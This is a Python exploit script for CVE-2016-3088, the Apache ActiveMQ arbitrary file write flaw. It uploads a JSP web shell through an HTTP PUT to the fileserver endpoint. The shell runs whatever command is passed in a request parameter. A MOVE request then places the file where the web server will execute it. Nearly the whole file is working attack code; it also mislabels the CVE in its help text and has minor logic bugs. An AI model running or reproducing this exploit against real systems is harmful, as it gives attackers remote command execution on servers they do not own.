#coding:utf-8
'''
CVE-2016-3088  ActiveMQ任意文件写入漏洞
writen by ophxc
'''
import requests
import argparse

parser=argparse.ArgumentParser(description="usage of CVE-2018-7600")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-p","--password",help="the password you want to give the shell",required=True)
args=parser.parse_args()

url=args.url
cmd=args.password

shell='''
<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("'''+cmd+'''");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>
'''
a=url
url="http://"+url+"/fileserver/"
filename="4.txt"
url=url+filename

proxy = {
    'http': '127.0.0.1:8080'
}

res=requests.put(url=url,data=shell,proxies=proxy)
res2=requests.get(url=url)
if res2.status_code == 200:
    print("It's vulnable , and the file is writen in "+url)
else:
    print("here is no exploitable")
choose=input("do you want to get a jsp shell?(y/n)")
if choose =='y' or 'yes':
    way=input("the file way:")
    way="file://"+way
    headers = {
        'Destination': way,
        'Host': a,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
    }
    res3=requests.request('MOVE',url=url,headers=headers,proxies=proxy)  #request实现move请求
    if res3.status_code =='204':
        print("the file is move in" + way)
    else:
        print("this file isn't exist , please checking")
else:
    exit()
